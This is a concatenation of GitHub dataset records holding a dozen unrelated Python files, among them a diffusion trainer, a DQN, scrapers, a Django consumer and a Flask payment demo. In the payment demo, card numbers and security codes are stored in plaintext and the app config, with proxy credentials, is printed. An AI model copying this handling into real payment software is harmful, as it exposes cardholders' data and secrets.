gm.attach(model.parameters(), callbacks=[dist.make_allreduce_cb(\"sum\")])\n else:\n gm.attach(model.parameters())\n \n # diffusion setup\n diffusion_config = config[\"diffusion\"]\n diffusion = GaussionDiffusion(\n model=model,\n betas=build_beta_schedule(**diffusion_config[\"beta_schedule\"]),\n model_mean_type=diffusion_config[\"model_mean_type\"],\n model_var_type=diffusion_config[\"model_var_type\"],\n loss_type=diffusion_config[\"loss_type\"],\n )\n\n # logging pre-processing\n if num_worker == 1 or rank == 0:\n\n if not os.path.isdir(FLAGS.logdir):\n os.makedirs(FLAGS.logdir)\n os.makedirs(sample_path)\n os.makedirs(checkpoint_path)\n writer = SummaryWriter(FLAGS.logdir)\n\n # sample from real images for comparing\n\n real_batch_image, _ = next(iter(train_dataloader))\n real_grid_image = make_grid(real_batch_image)\n save_image(real_grid_image, os.path.join(sample_path, \"real.png\"))\n writer.add_image(\"real_image\", real_grid_image)\n writer.flush()\n\n # train the model\n total_steps = config[\"training\"][\"n_iters\"]\n sample_steps = config[\"training\"][\"n_sample\"]\n validate_steps = config[\"training\"][\"n_validate\"]\n save_steps = config[\"training\"][\"n_snapshot\"]\n\n worker_steps = total_steps // num_worker\n start_step = start_step // num_worker\n \n with tqdm.trange(start_step, worker_steps, dynamic_ncols=True) as pbar:\n for worker_step in pbar:\n step = worker_step * num_worker\n image, _ = next(train_queue)\n image = Tensor(linear_scale(image))\n\n with gm:\n loss = diffusion.training_loss(image)\n gm.backward(loss)\n\n if config[\"optim\"][\"grad_clip\"]:\n optim.clip_grad_norm(model.parameters(), config[\"optim\"][\"grad_clip\"])\n\n optimizer.step().clear_grad()\n ema(model, ema_model, config[\"training\"][\"ema_decay\"])\n\n if num_worker > 1:\n loss = dist.functional.all_reduce_sum(loss) / num_worker\n\n if num_worker == 1 or rank == 0:\n # add log information\n writer.add_scalar(\"loss\", loss.mean().item(), step)\n pbar.set_postfix(loss=\"%.3f\" % loss.mean().item())\n\n # sample from generated images for comparing\n # TODO: Support distributed sampling\n if sample_steps > 0 and step and step % sample_steps == 0:\n model.eval()\n generated_batch_image = diffusion.p_sample_loop((\n config[\"sampling\"][\"batch_size\"], config[\"data\"][\"img_resolution\"],\n config[\"data\"][\"image_size\"], config[\"data\"][\"image_size\"]\n ))\n generated_batch_image = F.clip(generated_batch_image, -1, 1).numpy()\n generated_batch_image = linear_scale_rev(generated_batch_image)\n generated_grid_image = make_grid(generated_batch_image)\n path = os.path.join(sample_path, \"%d.png\" % step)\n save_image(generated_grid_image, path)\n writer.add_image(\"generated_image\", generated_grid_image, step)\n writer.flush()\n model.train()\n\n # save checkpoints\n if save_steps > 0 and step and step % save_steps == 0:\n ckpt = {\n \"model\": model.state_dict(),\n \"ema_model\": ema_model.state_dict(),\n \"optimizer\": optimizer.state_dict(),\n \"step\": step\n }\n \n mge.save(ckpt, os.path.join(checkpoint_path, \"ckpt.pkl\"))\n\n # TODO: evaluate\n if validate_steps > 0 and step and step % validate_steps == 0:\n pass\n\n if num_worker == 1 or rank == 0:\n writer.close()\n\ndef main(argv):\n if FLAGS.parallel:\n dist.launcher(train)()\n else:\n train()\n\nif __name__ == \"__main__\":\n app.run(main)","repo_name":"MegEngine/MegDiffusion","sub_path":"megdiffusion/pipeline/ddpm/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6593,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"75"} +{"seq_id":"45428937065","text":"import json\nimport sys\nimport traceback\nimport re\nfrom datetime import datetime\nfrom urllib.parse import urljoin, urlunsplit\n\nimport requests\nfrom flask import render_template, request, Blueprint, flash, current_app\nfrom flask_admin import Admin, expose\nfrom flask_admin.actions import action\nfrom flask_admin.contrib.sqla import ModelView\n\nimport helpers as h\nimport processor\nimport persistence\n\n\ndb = persistence.db\nbp = Blueprint('payment', __name__)\n\n\n@bp.route('/', methods=[\"GET\"])\ndef index():\n url = request.args.get('url', 'verygoodsecurity.com')\n return render_template('payment.html', url=url)\n\n\n@bp.route('/payment', methods=[\"POST\"])\ndef create():\n imm = request.values\n dic = imm.to_dict(flat=True)\n payment_entry = Payment.from_dict(dic)\n db.session.add(payment_entry)\n db.session.commit()\n json_data = json.dumps(dic)\n print(json_data)\n return render_template('show_redacted.html', data=dic, url=dic['url'])\n\n\nclass ProxySetting(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n proxy_username = db.Column(db.String(100))\n proxy_password = db.Column(db.String(100))\n proxy_url = db.Column(db.String(255))\n proxy_port = db.Column(db.String(5))\n active = db.Column(db.Boolean, default=False)\n\n @staticmethod\n def proxy_env_variables_present(config):\n return 'VGS_PROXY_URL' in config\n\n @classmethod\n def from_config(cls, config):\n proxy_setting = cls()\n proxy_setting.proxy_username = config['VGS_PROXY_USERNAME']\n proxy_setting.proxy_password = config['VGS_PROXY_PASSWORD']\n proxy_setting.proxy_url = config['VGS_PROXY_URL']\n proxy_setting.proxy_port = config['VGS_PROXY_PORT']\n proxy_setting.active = False\n return proxy_setting\n\n def as_dict(self):\n proxies = {}\n for scheme in ['https', 'http']:\n proxies[scheme] = urlunsplit(\n (scheme,\n '{PROXY_USERNAME}:{PROXY_PASSWORD}@{PROXY_URL}:{PROXY_PORT}'.format(\n PROXY_USERNAME=self.proxy_username,\n PROXY_PASSWORD=self.proxy_password,\n PROXY_URL=self.proxy_url,\n PROXY_PORT=self.proxy_port,\n ),\n '', None, None))\n return proxies\n\n\ndef strip_scheme(target, value, oldvalue, initiator):\n \"\"\"Strip scheme from url\"\"\"\n\n pattern = r'^(http:\\/\\/www\\.|https:\\/\\/www\\.|http:\\/\\/|https:\\/\\/)?'\n return re.sub(pattern, '', value)\n\n# setup listener on ProxySetting.proxy_url attribute, instructing\n# it to use the return value\ndb.event.listen(ProxySetting.proxy_url, 'set', strip_scheme, retval=True)\n\n\nclass Payment(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n created_at = db.Column(db.DateTime, default=datetime.utcnow)\n name = db.Column(db.String(100))\n billing_address = db.Column(db.String(100))\n card_number = db.Column(db.String(100))\n card_expiration = db.Column(db.String(100))\n card_security_code = db.Column(db.String(100))\n\n @classmethod\n def from_dict(cls, kwargs):\n payment_obj = cls()\n payment_obj.name = kwargs['name']\n payment_obj.billing_address = kwargs['billing_address']\n payment_obj.card_number = kwargs['card-number']\n payment_obj.card_expiration = kwargs['card-expiration-date']\n payment_obj.card_security_code = kwargs['card-security-code']\n return payment_obj\n\n def charge(self):\n response = _charge({\n 'card': self.card_number,\n 'card_expiration': self.card_expiration,\n 'card_security_code': self.card_security_code,\n 'amount': 10000})\n response.raise_for_status()\n print(response.json())\n return True\n\n\ndef _charge(payload, url=None):\n if not url:\n print(current_app.config)\n root_url = current_app.config['VGS_PROCESSOR_ROOT_URL']\n url = urljoin(root_url, '/charge')\n\n proxy_setting = ProxySetting.query.filter(ProxySetting.active == True).first()\n if not proxy_setting and ProxySetting.proxy_env_variables_present(current_app.config):\n proxy_setting = ProxySetting.from_config(current_app.config)\n\n proxies = proxy_setting.as_dict() if proxy_setting else None\n\n r = requests.post(\n url,\n data=h.dumps(payload),\n headers={\"Content-type\": \"application/json\"},\n proxies=proxies,\n # you can find the equivalent cert in your dashboard\n # under the \"integration-docs\" section\n verify='demo/static/vgs-sandbox.pem'\n )\n return r\n\n\nclass CustomView(ModelView):\n list_template = 'merchant/list.html'\n create_template = 'merchant/create.html'\n edit_template = 'merchant/edit.html'\n\n\nclass PaymentAdmin(CustomView):\n\n @action('charge', 'Charge', 'Are you sure you want to charge this card?')\n def action_charge(self, ids):\n try:\n query = Payment.query.filter(Payment.id.in_(ids))\n count = 0\n for payment_entry in query.all():\n payment_entry.charge()\n count += 1\n flash('{count} cards were charged successfully. '.format(count=count))\n except Exception as ex:\n print(''.join(traceback.format_exception(None, ex, ex.__traceback__)),\n file=sys.stderr, flush=True)\n flash('Failed to approve users. {error}'.format(\n error=ex), category='error')\n\n\ndef init_app(app):\n app.register_blueprint(bp)\n merchant_admin = Admin(app,\n url='/merchant_admin',\n name='Merchant Portal',\n base_template='merchant/layout.html',\n template_mode='bootstrap2')\n merchant_admin.add_view(PaymentAdmin(\n Payment, db.session, endpoint='payments'))\n merchant_admin.add_view(CustomView(\n ProxySetting, db.session, endpoint='proxy_settings'))\n return app\n","repo_name":"comply-dev/python_demo","sub_path":"demo/payment.py","file_name":"payment.py","file_ext":"py","file_size_in_byte":5961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22296424641","text":"#!/usr/bin/env python\nfrom numpy import array\n\ntraindat = '../data/fm_train_real.dat'\ntestdat = '../data/fm_test_real.dat'\nlabel_traindat = '../data/label_train_multiclass.dat'\n\n# set both input attributes as not nominal (ie. continuous)\nfeattypes = array([False, False])\n\nparameter_list = [[traindat,testdat,label_traindat,feattypes]]\n\ndef multiclass_c45classifiertree(train=traindat,test=testdat,labels=label_traindat,ft=feattypes):\n\ttry:\n\t\tfrom shogun import MulticlassLabels, C45ClassifierTree\n\t\tfrom numpy import random, int32\n\texcept ImportError:\n\t\tprint(\"Could not import Shogun and/or numpy modules\")\n\t\treturn\n\timport shogun as sg\n\n\t# wrap features and labels into Shogun objects\n\tfeats_train=sg.create_features(sg.read_csv(train))\n\tfeats_test=sg.create_features(sg.read_csv(test))\n\ttrain_labels=MulticlassLabels(sg.read_csv(labels))\n\n\t# divide train dataset into training and validation subsets in the ratio 2/3 to 1/3\n\tsubset=int32(random.permutation(feats_train.get_num_vectors()))\n\tvsubset=subset[1:int(subset.size/3)]\n\ttrsubset=subset[1+int(subset.size/3):subset.size]\n\n\t# C4.5 Tree formation using training subset\n\ttrain_labels.add_subset(trsubset)\n\tfeats_train.add_subset(trsubset)\n\n\tc=C45ClassifierTree()\n\tc.set_labels(train_labels)\n\tc.set_feature_types(ft)\n\tc.train(feats_train)\n\n\ttrain_labels.remove_subset()\n\tfeats_train.remove_subset()\n\n\t# prune tree using validation subset\n\ttrain_labels.add_subset(vsubset)\n\tfeats_train.add_subset(vsubset)\n\n\tc.prune_tree(feats_train,train_labels)\n\n\ttrain_labels.remove_subset()\n\tfeats_train.remove_subset()\n\n\t# Classify test data\n\toutput=c.apply_multiclass(feats_test).get_labels()\n\toutput_certainty=c.get_certainty_vector()\n\n\treturn c,output,output_certainty\n\nif __name__=='__main__':\n\tprint('C45ClassifierTree')\n\tmulticlass_c45classifiertree(*parameter_list[0])\n","repo_name":"shogun-toolbox/shogun","sub_path":"examples/undocumented/python/multiclass_c45classifiertree.py","file_name":"multiclass_c45classifiertree.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":2975,"dataset":"github-code","pt":"75"} +{"seq_id":"23913483167","text":"# N*N 의 격자판이 주어지면 각 행의 합, 각 열의 합, 두 대각선의합 중 가장 큰 합을 출력\nN=int(input())\nx=[]\ntmp=[]\nfor i in range(N):\n a=list(map(int,input().split()))\n x.append(a)\n # 각 행의 합\n tmp.append(sum(a))\n\n# 각 열의 합\nfor j in range(N):\n hap=0\n for k in range(N):\n hap=hap+x[k][j]\n tmp.append(hap)\n\n# 대각선의 합\n\nttmp=0\natmp=0\nfor i in range(N):\n ttmp=ttmp+x[i][i]\n atmp=x[i][N-1-i]\n tmp.append(ttmp)\n tmp.append(atmp)\nprint(tmp)\nprint(max(tmp))\n","repo_name":"chaesohyun/coding","sub_path":"인프런/탐색 및 시뮬레이��/격자판 최대합.py","file_name":"격자판 최대합.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23247850893","text":"\nfrom channels.generic.websocket import WebsocketConsumer\nimport json\nfrom django.core.cache import cache\nfrom asgiref.sync import async_to_sync\nfrom channels.generic.websocket import WebsocketConsumer\nimport json\n\nclass ProccessConsumer(WebsocketConsumer):\n def connect(self):\n self.room_name = self.scope['url_route']['kwargs']['pid']\n self.room_group_name = 'process_%s' % self.room_name\n #print(self.room_group_name)\n\n # Join room group\n async_to_sync(self.channel_layer.group_add)(\n self.room_group_name,\n self.channel_name\n )\n\n self.accept()\n \n cache.set('websocket_connection', 'connected', 30)\n #print(cache.get('websocket_connection'))\n \n\n def disconnect(self, close_code):\n # Leave room group\n async_to_sync(self.channel_layer.group_discard)(\n self.room_group_name,\n self.channel_name\n )\n cache.delete('websocket_connection')\n\n # Receive message from WebSocket\n def receive(self, text_data):\n text_data_json = json.loads(text_data)\n message = text_data_json['message']\n #print(\"test2\")\n if message == 'cancel':\n cache.set('cancel','true', 60)\n return\n # Send message to room group\n async_to_sync(self.channel_layer.group_send)(\n self.room_group_name,\n {\n 'type': 'status_message',\n 'message': message\n }\n )\n\n # Receive message from room group\n def status_message(self, event):\n #print(\"test\")\n message = event['message']\n\n # Send message to WebSocket\n self.send(text_data=json.dumps({\n 'status': 'True',\n 'message': message\n }))\n def error_message(self, event):\n message = event['message']\n self.send(text_data=json.dumps({\n 'message': message,\n 'error': 'True'\n }))\n def success_message(self, event):\n message = event['message']\n self.send(text_data=json.dumps({\n 'message': message,\n 'success': 'True'\n }))\n def update_message(self, event):\n proc = event['proc']\n self.send(text_data=json.dumps({\n 'proc': proc,\n 'update': 'True'\n }))\n\n","repo_name":"SCAI-BIO/data-steward","sub_path":"backend/upload/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"667124712","text":"'''final version of the sine approximation by Ahmet Efe, Sven Leschber, Mika Rother'''\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow import keras\nimport matplotlib.pyplot as plt\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\nfrom keras.models import load_model\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split\n\n# create an array with x values in [0,π], the sin of the x values and a random value\npi = np.pi\nxs = np.arange(0, pi, 0.1)\nsin = np.sin(xs)\nrand = np.random.uniform(0, pi)\n\n# create different values the model should predict later\nx_pred = []\nfor k in range(len(xs)):\n if len(xs) == len(x_pred)+1:\n break\n val = (xs[k]+xs[k+1]) / 2\n x_pred.append(val)\n\n# create a professional dataset for the sine model\n# Options: \nxs, sin = shuffle(xs, sin, random_state=0)\nxs_train, xs_temp, sin_train, sin_temp = train_test_split(xs, sin, test_size = 0.3)\nxs_val, xs_test, sin_val, sin_test = train_test_split(xs_temp, sin_temp, test_size = 0.5)\n\n# now create a model for sine, using activation functions and different type of layer sizes\n# Options: \nmodel = keras.Sequential([\n tf.keras.layers.Dense(512, activation='tanh', input_shape=(1,)),\n tf.keras.layers.Dense(256, activation='tanh'),\n tf.keras.layers.Dense(64, activation='tanh'),\n tf.keras.layers.Dense(1)\n ])\n\n# define callback functions that helpes the model to fit more precise\n# and create filepaths, where the weights are saved\n# Options: \nes = EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=500)\nfilepathSin = 'weights.best.hdf5'\nmc = ModelCheckpoint(filepathSin, monitor='val_loss', mode='min', verbose=1, save_best_only=True)\n\n# complie model, using an optimizer and a loss function\n# Options: \nmodel.compile(optimizer = tf.optimizers.Adam(), loss='mean_squared_error')\n\n# now fit the model for sine, using the train data, the validation data,\n# a number of epochs, and the callback functions\n# Options: \nmodel.fit(xs_train, sin_train, validation_data=(xs_val,sin_val), epochs=5000, callbacks=[es, mc])\n\n# evaluate the sine model with the test data and print results\nresults = model.evaluate(xs_test, sin_test)\nprint('-----------------------------------------------------------')\nprint('Sin: test loss, test acc: ', results)\nprint('-----------------------------------------------------------')\n\n# print a summary of the model\nprint('-----------------------------------------------------------')\nprint('Here is a summary of the sine model: ')\nmodelSin_data = model.summary()\n\n# create a new model with the best weights for sine\nbestModel = keras.Sequential([\n tf.keras.layers.Dense(512, activation='tanh', input_shape=(1,)),\n tf.keras.layers.Dense(256, activation='tanh'),\n tf.keras.layers.Dense(64, activation='tanh'),\n tf.keras.layers.Dense(1)\n ])\n# compile the new Model with the best weights, found during the training of the old Model\nbestModel.load_weights('weights.best.hdf5')\nbestModel.compile(optimizer = tf.optimizers.Adam(), loss='mean_squared_error')\nresBestSin = bestModel.evaluate(xs_test, sin_test, verbose=0)\n\n# now print the results of the new evaluation to compare\nprint('-----------------------------------------------------------')\nprint('Sin: test loss, test acc: ', resBestSin)\n\n# print a summary of our both best models to compare\nprint('-----------------------------------------------------------')\nprint('Here is a summary of the sine model: ')\nbestSin_data = bestModel.summary()\nprint('-----------------------------------------------------------')\n\n# serialize the model to JSON\nmodelSin_json = model.to_json()\nwith open('model.json', 'w') as json_file:\n json_file.write(modelSin_json)\nprint('Saved the model to disk')\nprint('-----------------------------------------------------------')\n\n# here let the model predict different values between the given ones\nplotValueSin=[]\nfor x in x_pred :\n plotValueSin.append(bestModel.predict([x]))\n\n# now use a random value and compare the exact data to the approximation of our models\nprint('This is the random value')\nprint(rand)\n\nprint('This is the sin(rand):')\nprint(np.sin(rand))\nprint('This is what our model predict:')\nprint(bestModel.predict([rand]))","repo_name":"ahmetefe98/BPTensorFlow","sub_path":"1. Sinus/sin.py","file_name":"sin.py","file_ext":"py","file_size_in_byte":4491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28593469849","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 11 21:57:41 2020\n\n@author: inderpreet\n\ncalculate statistics for point estimates from QRNN applied to AWS\n\nThis script is used for Table 7 of the article.\n\"\"\"\n\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport ICI.stats as stats\nfrom typhon.retrieval.qrnn import set_backend, QRNN\nset_backend(\"pytorch\")\n\nfrom tabulate import tabulate\nfrom aws_test_data import awsTestData\n\n#%% input parameters\ndepth = 4\nwidth = 256\nquantiles = np.array([0.002, 0.03, 0.16, 0.5, 0.84, 0.97, 0.998])\nbatchSize = 128\n\ntargets = [ 'C32','C33','C34', 'C35', 'C36']\n\niq = np.argwhere(quantiles == 0.5)[0,0]\ninpath = os.path.expanduser(\"~/Dendrite/Projects/AWS-325GHz/AWS/\")\n#%%\nfor i,target in enumerate(targets):\n \n inChannels = np.array([target,'C41', 'C42', 'C43', 'C44']) \n file = os.path.join(inpath, 'qrnn_data', 'qrnn_%s_%s_%s.nc'%(depth, width, target))\n\n test_data = awsTestData(os.path.join(inpath, \"data\", \"TB_AWS_m60_p60_noise_four_test.nc\"), \n inChannels, option = 4)\n\n i183, = np.argwhere(inChannels == target)[0]\n \n qrnn = QRNN.load(file)\n \n y_pre, y_prior, y0, y, y_pos_mean = stats.predict(test_data, qrnn, \\\n add_noise = False, aws = True)\n im = np.abs(y_pre[:, 3] - y_prior[:, i183]) <= 5\n print ((1 - np.sum(im)/im.size)* 100)\n \n \n bia = stats.calculate_bias(y_prior, y0, y, y_pre[:, 3], im, i183)\n std = stats.calculate_std(y_prior, y0, y, y_pre[:, 3], im, i183)\n ske = stats.calculate_skew(y_prior, y0, y, y_pre[:, 3], im, i183)\n mae = stats.calculate_mae(y_prior, y0, y, y_pre[:, 3], im, i183)\n \n \n#%%\n bia = list(bia )\n mae = list(mae )\n ske = list(ske )\n std = list(std )\n#%% \n sets = []\n for i in [0, 1, 2, 3, 4]:\n \n l = [bia[i], mae[i], std[i], ske[i]] \n sets.append(l)\n sets_names = ['bias', 'mae', 'std', \"skewness\"]#, 'corrected(1sigma)', 'sreerekha et al', 'filtered(1sigma)']\n\n\n\n table = [[sets_names[i], sets[0][i], \\\n sets[1][i],\n sets[2][i],\n sets[3][i],\n sets[4][i],\n\n ] for i in range(4)]\n\n print(tabulate(table\n , tablefmt=\"latex\", floatfmt=\".2f\"))\n\n\n#%%\n bins = np.arange(-40, 10, 0.5)\n hist = np.histogram(y_pre[:, 3] - y0, bins, density = True)\n \n fig, ax = plt.subplots(1, 1, figsize= [8,8])\n ax.set_yscale('log')\n ax.plot(bins[:-1], hist[0])","repo_name":"SEE-GEO/QRNN-CloudCorrection","sub_path":"SMS/tables_aws.py","file_name":"tables_aws.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"24021841905","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport requests\nfrom os import path, makedirs\nimport re\n\n#tem como usar as próprias configurações do scrapy pra baixar (scrapy.pipelines.images.ImagesPipeline)\nclass MegafilmesPipeline(object):\n # def __init__(self):\n # self.image_dir = path.dirname(path.abspath(__file__)) + \"/../images\"\n # if not path.exists(self.image_dir):\n # makedirs(self.image_dir)\n\n def process_item(self, item, spider):\n image_dir = path.dirname(path.abspath(__file__)) + \"/../images/\"+item[\"nomeArquivo\"]\n if not path.exists(image_dir):\n makedirs(image_dir)\n\n try:\n image_url = item[\"image_urls\"]\n filename = item[\"titulo\"]\n #Renomeia a Imagem e Extensão\n filepath = image_dir + \"/\" + filename+\".\"+re.search(r\"\\.(\\w+)$\", str(image_url[0])).group(1)\n item[\"images\"] = filename\n r = requests.get(str(image_url[0]))#requisição para baixar o content\n with open(filepath, 'wb') as outfile:\n outfile.write(r.content)\n return item\n except Exception as e:\n print(\"Exception--------------\")\n print(e)\n return item\n\n","repo_name":"pauloAlves98/br.edu.webcrawlerscrapy","sub_path":"megafilmes/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39303180372","text":"s=input().split()\nn=len(s)\nm=123\nfor i in s[n-1]:\n if ord(i) 0:\n # Close Data Update Port connection\n ioloop.IOLoop.instance().stop()\n print('LED count obtained. Disconnecting from data publisher {0}'.format(everloop_port+3))\n # Call updateLedCount() once data is received\n stream.on_recv(updateLedCount)\n\n # Log and begin event loop for ZMQ connection to Data Update Port\n print('Connected to data publisher with port {0}'.format(everloop_port+3))\n ioloop.IOLoop.instance().start()\n\n## Start Processes ##\nif __name__ == '__main__':\n # Initiate asynchronous events\n ioloop.install()\n # Start Error Port connection\n Process(target=register_error_callback, args=(everloop_error_callback, matrix_ip, everloop_port)).start() \n # Ping the Keep-alive Port once\n ping_socket()\n # Start Data Update Port connection & close after response\n update_socket()\n # Send Base Port configuration\n try:\n config_socket(led_count)\n # Avoid logging Everloop errors on user quiting\n except KeyboardInterrupt:\n print(' quit')\n","repo_name":"matrix-io/matrix-core-examples","sub_path":"python/everloop.py","file_name":"everloop.py","file_ext":"py","file_size_in_byte":4240,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"6445026672","text":"from sikuli import *\nfrom library_qsync import *\n\ncurrent_user = os.popen(\"whoami\").read()\nprint(current_user)\nr = str(current_user)\nprint(r)\nrr = r.split(\"\\\\\")\npc_name = rr[0]\n\nx = 1 \nfor i in range(2):\n print(\"Execute \" + str(x) + \" Times\")\n open_qsync()\n wait(5)\n if exists(Pattern(search_path(\"syncdone_icon\")).similar(0.70)):\n print(\"Sync success\")\n elif exists(Pattern(search_path(\"syncing_icon\")).similar(0.70)):\n print(\"Syncing...\")\n else:\n print(\"Sync failed\")\n send_mail(pc_name)\n break\n wait(2)\n close_qsync()\n wait(2)\n x = x + 1\n\n\"\"\"\nkeyDown(Key.ALT)\nkeyDown(Key.F4)\n\"\"\"","repo_name":"mingje/Qsync_test","sub_path":"open_close_qsync.sikuli/open_close_qsync.py","file_name":"open_close_qsync.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73499866801","text":"import random\nimport math\nimport torch\nimport gym\nimport pyro\nfrom torch import nn\nimport torch.nn.Functional as F\nfrom pyro.nn import PyroModule\nfrom pyro.nn import PyroSample\nfrom collections import deque\n\nclass DQN(nn.Module):\n def __init__(self, input_dim, output_dim):\n super(DQN, self).__init__()\n self.linear1 = PyroModule[nn.Linear](input_dim, 16)\n self.linear2 = PyroModule[nn.Linear](16, 32)\n self.linear3 = PyroModule[nn.Linear](32, 32)\n self.linear4 = PyroModule[nn.Linear](32, output_dim)\n\n def forward(self, x):\n x = F.relu(self.linear1(x))\n x = F.relu(self.linear2(x))\n x = F.relu(self.linear3(x))\n return self.linear4(x)\n\nfinal_epsilon = 0.05\ninitial_epsilon = 1\nepsilon_decay = 5000\nglobal steps_done\nsteps_done = 0\n\ndef select_action(state):\n global steps_done\n sample = random.random()\n # applying epsilon decay when choosing actions\n eps_threshold = final_epsilon + (initial_epsilon - final_epsilon) * \\\n math.exp(-1. * steps_done / epsilon_decay)\n if sample > eps_threshold:\n with torch.no_grad():\n state = torch.Tensor(state)\n steps_done += 1\n q_calc = model(state)\n node_activated = int(torch.argmax(q_calc))\n return node_activated\n else:\n node_activated = random.randint(0,1)\n steps_done += 1\n return node_activated\n\ninput_dim, output_dim = 4, 2\nmodel = DQN(input_dim, output_dim)\ntarget_net = DQN(input_dim, output_dim)\ntarget_net.load_state_dict(model.state_dict())\ntarget_net.eval()\ntau = 100\ndiscount = 0.99\n\nlearning_rate = 1e-4\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\nmemory = deque(maxlen=65536) # 2^16\nBATCH_SIZE = 128\n\ndef sample_experiences():\n mini_batch = random.sample(memory, BATCH_SIZE)\n experiences = [[],[],[],[],[]]\n for row in range(BATCH_SIZE):\n for col in range(5):\n experiences[col].append(mini_batch[row][col])\n return experiences\n\ndef optimize_model():\n if len(memory) < BATCH_SIZE:\n return 0\n experiences = sample_experiences()\n state_batch = torch.Tensor(experiences[0])\n action_batch = torch.LongTensor(experiences[1]).unsqueeze(1)\n reward_batch = torch.Tensor(experiences[2])\n next_state_batch = torch.Tensor(experiences[3])\n done_batch = experiences[4]\n\n pred_q = model(state_batch).gather(1, action_batch)\n\n next_state_q_vals = torch.zeros(BATCH_SIZE)\n\n for idx, next_state in enumerate(next_state_batch):\n if done_batch[idx] == True:\n next_state_q_vals[idx] = -1\n else:\n next_state_q_vals[idx] = (target_net(next_state_batch[idx]).max(0)[0]).detach()\n\n better_pred = (reward_batch + next_state_q_vals).unsqueeze(1)\n\n loss = torch.nn.MSELoss()(pred_q, better_pred)\n optimizer.zero_grad()\n loss.backward()\n for param in model.parameters():\n param.grad.data.clamp_(-1, 1)\n optimizer.step()\n return loss\n\n#save_state = torch.load(\"models/DQN_target_11.pth\")\n#model.load_state_dict(save_state['state_dict'])\n#optimizer.load_state_dict(save_state['optimizer'])\n\nenv = gym.make('CartPole-v1')\nfor i_episode in range(5000):\n observation = env.reset()\n episode_loss = 0\n if i_episode % tau == 0:\n target_net.load_state_dict(model.state_dict())\n for t in range(1000):\n #env.render()\n state = observation\n action = select_action(observation)\n observation, reward, done, _ = env.step(action)\n\n if done:\n next_state = [0,0,0,0]\n else:\n next_state = observation\n\n memory.append((state, action, reward, next_state, done))\n episode_loss = episode_loss + float(optimize_model())\n if done:\n print(\"Episode {} finished after {} timesteps\".format(i_episode, t+1))\n print(\"Avg Loss: \", episode_loss / (t+1))\n if (i_episode % 100 == 0):\n eps = final_epsilon + (initial_epsilon - final_epsilon) * \\\n math.exp(-1. * steps_done / epsilon_decay)\n print(eps)\n if ((i_episode+1) % 5001 == 0):\n save = {'state_dict': model.state_dict(), 'optimizer': optimizer.state_dict()}\n torch.save(save, \"models/DQN_target_\" + str(i_episode // 5000) + \".pth\")\n break\nenv.close()","repo_name":"fshipy/pyro-nn","sub_path":"pyro-mdp/cartpole-dqn-torch.py","file_name":"cartpole-dqn-torch.py","file_ext":"py","file_size_in_byte":4378,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"72005823913","text":"from tools import Request, HTMLSelector, JsonAction, Proxy, FileAction\nfrom copy import deepcopy\nfrom time import sleep\nimport re\nimport jieba\nfrom database import Database, getSheetInsert\n\nproxy=True\ndef proxies():\n return Proxy().get()\n\ndef splitWord(text): # jieba 全模式分词\n # 预处理\n text = text.replace(\"\\n\", \"\")\n text = text.replace(\"\\r\", \"\")\n text = text.replace(\" \", \"\")\n # 分词\n result = jieba.cut(text, cut_all=True)\n # 返回结果\n return result\n\ndef search(keyword): # 爬虫搜索\n url = \"http://search.dangdang.com/\"\n method = \"GET\"\n param = {\n \"act\": \"input\",\n \"key\": keyword,\n }\n req = Request(url, method, param, encoding=\"GB2312\")\n res = req.start() # 开启请求\n result = []\n if res:\n html = HTMLSelector(res, encoding=\"GB2312\")\n listHTML = html.find(\"#search_nature_rg ul\")\n if listHTML:\n results = listHTML.getAll(\"li\")\n for res in results:\n result.append(res[\"id\"].replace(\"p\", \"\"))\n return result\n\ndef bookdesc(id): # 爬虫获取图书详情\n url = \"http://product.dangdang.com/index.php\"\n method = \"GET\"\n param = {\n \"r\": \"callback/detail\",\n \"productId\": id,\n \"templateType\": \"publish\",\n \"describeMap\": \"0100003040:1\",\n \"shopId\": \"0\",\n \"categoryPath\": \"01.41.26.03.00.00\",\n }\n req = Request(url, method, param, encoding=\"GB2312\")\n res = req.start() # 开启请求\n return res\n\ndef bookinfo(id, rst): # 爬虫获取图书信息\n try:\n result = deepcopy(rst)\n url = \"http://product.dangdang.com/{0}.html\".format(id)\n method = \"GET\"\n req = Request(url, method, encoding=\"GB2312\")\n res = req.start() # 开启请求\n descres = bookdesc(id)\n succ = True\n if res:\n try:\n html = HTMLSelector(res, 